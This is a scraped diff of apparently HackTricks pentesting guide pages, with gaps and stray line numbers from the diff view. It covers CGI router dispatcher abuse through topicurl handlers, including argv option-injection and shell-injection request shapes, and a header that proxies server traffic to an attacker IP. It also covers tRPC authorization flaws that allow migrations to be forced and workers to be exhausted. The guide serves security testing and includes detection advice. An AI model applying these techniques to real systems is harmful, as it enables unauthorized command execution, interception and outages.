You signed in with another tab or window.Reload to refresh your session.You signed out in another tab or window.Reload to refresh your session.You switched accounts on another tab or window.Reload to refresh your session.Dismiss alert
##Centralized CGI dispatchers (single endpoint routing via selector parameters)
63
63
64
-
CGI creates a environment variable for each header in the http request. Forexample: "host:web.com" is createdas"HTTP_HOST"="web.com"
64
+
Many embedded web UIs multiplex dozens of privileged actions behind a single CGI endpoint (forexample,`/cgi-bin/cstecgi.cgi`) and use a selector parameter suchas`topicurl=<handler>` to route the request to an internal function.
65
65
66
-
As the HTTP_PROXY variable could be used by the web server. Try to send a**header** containing: "**Proxy:<IP_attacker>:<PORT>**" and if the server performs any request during the session. You will be able to capture each request made by the server.
66
+
Methodology to exploit these routers:
67
+
68
+
- Enumerate handler names: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher.
69
+
- Test unauthenticated reachability: some handlers forget auth checks and are directly callable.
70
+
- Focus on handlers that invoke system utilities or touch files; weak validators often only block a few characters and might miss the leading hyphen`-`.
71
+
72
+
Generic exploit shapes:
73
+
74
+
```http
75
+
POST /cgi-bin/cstecgi.cgi HTTP/1.1
76
+
Content-Type: application/x-www-form-urlencoded
77
+
78
+
# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
79
+
topicurl=<handler>¶m=-n
80
+
81
+
# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
- Watch for unauthenticated requests to centralized CGI endpoints with`topicurl` set to sensitive handlers.
91
+
- Flag parameters that begin with`-` (argv option injection attempts).
92
+
- Vendors: enforce authentication on all state-changing handlers, validate using strict allowlists/types/lengths, and never pass user-controlled strings as command-line flags.
**More info about the vuln and possible exploits:**[**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,**[**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,**[**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,**[**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
82
108
109
+
##**Proxy\(MitM to Web server requests\)**
83
110
84
-
{{#include ../../banners/hacktricks-training.md}}
111
+
CGI creates a environment variable for each header in the http request. For example: "host:web.com" is created as "HTTP_HOST"="web.com"
112
+
113
+
As the HTTP_PROXY variable could be used by the web server. Try to send a**header** containing: "**Proxy:<IP_attacker>:<PORT>**" and if the server performs any request during the session. You will be able to capture each request made by the server.
85
114
115
+
##**References**
86
116
117
+
-[Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
Copy file name to clipboardExpand all lines: src/network-services-pentesting/pentesting-web/web-api-pentesting.md
+48-3Lines changed: 48 additions & 3 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -28,6 +28,53 @@ Pentesting APIs involves a structured approach to uncovering vulnerabilities. Th
28
28
-**Advanced Parameter Techniques**: Test with unexpected data types in JSON payloads or play with XML data for XXE injections. Also, try parameter pollution and wildcard characters for broader testing.
29
29
-**Version Testing**: Older API versions might be more susceptible to attacks. Always check for and test against multiple API versions.
Modern TypeScript stacks commonly use tRPC with Zod for input validation. In tRPC,`protectedProcedure` typically ensures the request has a valid session (authentication) but does not imply the caller has the right role/permissions (authorization). This mismatch leads to Broken Function Level Authorization/BOLA if sensitive procedures are only gated by`protectedProcedure`.
34
+
35
+
- Threat model: Any low-privileged authenticated user can call admin-grade procedures if role checks are missing (e.g., background migrations, feature flags, tenant-wide maintenance, job control).
36
+
- Black-box signal:`POST /api/trpc/<router>.<procedure>` endpoints that succeed for basic accounts when they should be admin-only. Self-serve signups drastically increase exploitability.
- Data corruption via non-idempotent restarts: Forcing concurrent runs of migrations/workers can create race conditions and inconsistent partial states (silent data loss, broken analytics).
76
+
- DoS via worker/DB starvation: Repeatedly triggering heavy jobs can exhaust worker pools and database connections, causing tenant-wide outages.
77
+
31
78
###**Tools and Resources for API Pentesting**
32
79
33
80
-[**kiterunner**](https://github.com/assetnote/kiterunner): Excellent for discovering API endpoints. Use it to scan and brute force paths and parameters against target APIs.
-[How An Authorization Flaw Reveals A Common Security Blind Spot:CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study)